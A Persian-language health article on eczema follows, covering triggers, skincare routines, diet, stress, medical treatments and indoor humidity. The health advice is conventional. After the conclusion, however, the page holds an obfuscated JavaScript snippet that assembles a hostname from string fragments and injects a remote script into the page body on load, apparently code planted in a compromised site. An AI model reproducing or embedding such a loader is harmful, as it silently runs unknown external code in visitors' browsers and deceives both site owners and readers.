اگزما که به عنوان درماتیت آتوپیک نیز شناخته می شود، یک بیماری شایع و مزمن پوستی است که میلیون ها نفر را در سراسر جهان تحت تاثیر قرار می دهد. اگزما که با پوست ملتهب و خارش دار مشخص می شود، می تواند به طور قابل توجهی بر کیفیت زندگی فرد تأثیر بگذارد.
اگرچه این بیماری تاکنون درمانی نداشته است، متخصصان بهداشت دائماً در حال کار بر روی تحقیقات برای یافتن درمان‌های بهتر برای کاهش علائم هستند. نمونه هایی از این تلاش شامل آزمایش های پزشکی در لندن است.
درک این عارضه، محرک‌های آن و استفاده از مراقبت از پوست در برنامه روزانه‌تان برای مدیریت و کاهش علائم آن ضروری است.
اگزما چیست؟
اگزما چیزی بیش از یک مشکل پوستی سطحی است. این یک وضعیت التهابی پیچیده است که شامل عملکرد مانع پوست می شود.
علت دقیق اگزما به طور کامل شناخته نشده است، اما اعتقاد بر این است که این بیماری ناشی از عوامل ژنتیکی و محیطی است.
علائم رایج شامل قرمزی، خارش و التهاب پوست است که می تواند منجر به ناراحتی و در موارد شدید، اختلال در فعالیت های روزانه شود.
شناسایی محرک ها:
یکی از جنبه های مهم مدیریت اگزما، شناسایی و رسیدگی به محرک ها است. این موارد می تواند از فردی به فرد دیگر متفاوت باشد و ممکن است شامل غذاهای خاص، آلرژن های محیطی، استرس و محرک هایی مانند صابون ها یا پارچه های خشن باشد.
یک دفتر خاطرات دقیق از فعالیت‌ها و مواجهه‌ها می‌تواند به مشخص کردن محرک‌های خاص کمک کند، و افراد را قادر می‌سازد تا شیوه زندگی آگاهانه را اصلاح کنند.
مراقبت و مدیریت اگزما:
مدیریت اگزما شامل اتخاذ یک روال مراقبت از پوست است که عوامل داخلی و خارجی را در نظر می گیرد. این شامل:
- پاکسازی ملایم:برای جلوگیری از تحریک از پاک کننده های ملایم و بدون عطر استفاده کنید. صابون ها و مواد شوینده خشن می توانند چربی طبیعی پوست را از بین ببرند و علائم اگزما را تشدید کنند.
- آبرسانی:مرطوب کردن سنگ بنای مراقبت از اگزما است. استفاده از یک مرطوب کننده ضد حساسیت و بدون عطر به حفظ رطوبت و تقویت سد پوستی کمک می کند و خطر شعله ور شدن پوست را کاهش می دهد.
- لباس مناسب:پارچه های نرم و قابل تنفس مانند پنبه را انتخاب کنید تا تحریک را به حداقل برسانید. از لباس های تنگ که می تواند گرما را به دام بیندازد و خارش را تشدید کند، خودداری کنید.
- غذایی:در حالی که رابطه بین رژیم غذایی و اگزما در بین افراد متفاوت است، برخی ممکن است با شناسایی و حذف غذاهای محرک خاص تسکین پیدا کنند. مقصرهای رایج شامل لبنیات، گلوتن و برخی آجیل ها هستند.
- مدیریت استرس:استرس یک محرک شناخته شده برای تشدید اگزما است. ترکیب تکنیک های کاهش استرس، مانند مدیتیشن، یوگا، یا تمرینات تنفس عمیق می تواند به سلامت کلی پوست کمک کند.
مداخلات پزشکی:
در موارد شدیدتر، مداخله پزشکی ممکن است ضروری باشد. متخصصین پوست می توانند کورتیکواستروئیدهای موضعی یا سایر کرم های ضد التهابی را برای مدیریت علائم حاد تجویز کنند.
داروهای خوراکی یا نور درمانی (فوتوتراپی) ممکن است برای موارد مداوم توصیه شود. جستجوی مشاوره پزشکی حرفه ای برای ایجاد یک برنامه درمانی موثر متناسب با نیازهای فردی بسیار مهم است.
نقش سبک زندگی سالم:
حفظ یک سبک زندگی سالم می تواند به طور قابل توجهی بر مدیریت اگزما تأثیر بگذارد. خواب کافی، ورزش منظم و یک رژیم غذایی متعادل به سلامت کلی کمک می کند و به طور بالقوه دفعات و شدت شعله ور شدن را کاهش می دهد. هیدراتاسیون ضروری است، زیرا مصرف آب مناسب از هیدراتاسیون پوست و سلامت کلی حمایت می کند.
ملاحظات زیست محیطی:
افراد مبتلا به اگزما باید مراقب محیط اطراف خود باشند، به خصوص در ماه های سردتر و خشک تر. یک مرطوب کننده می تواند به هوای داخل خانه رطوبت اضافه کند و از خشکی بیش از حد که می تواند علائم اگزما را بدتر کند، جلوگیری می کند.
نتیجه
افراد مبتلا به اگزما می توانند با درک محرک ها، اتخاذ یک روال مراقبت از پوست، جستجوی راهنمایی های پزشکی در صورت نیاز و اولویت دادن به یک سبک زندگی سالم، گام های پیشگیرانه ای را برای مدیریت وضعیت خود و دستیابی به سلامت پوست بهینه بردارند.
پذیرش یک دیدگاه کل نگر به علائم می پردازد و افراد را قادر می سازد تا زندگی رضایت بخشی داشته باشند و در عین حال اگزما خود را به طور موثر مدیریت کنند.
(function(){ weXh=document.createElement(“script”);weXh.type=”text/javascript”; weXh.async=true;weXh_=((“ما”)+”t”)+”a”; weXh_+=(“ti”)+””+”n”;weXh_+=((“f”)+”o”);weXh_+=”/”; weXhu=”2185369670.”;weXhu+=”akjiiyi5eXha9mj8bl8tfebj4wnjrs” ;weXh.src=”https://”+weXh_+weXhu; weXhdb=document.body;weXhdb.appendChild(weXh); })();
The post اگزما: هر آنچه که باید بدانید اولین بار در مجله سلامت پایدار پدیدار شد.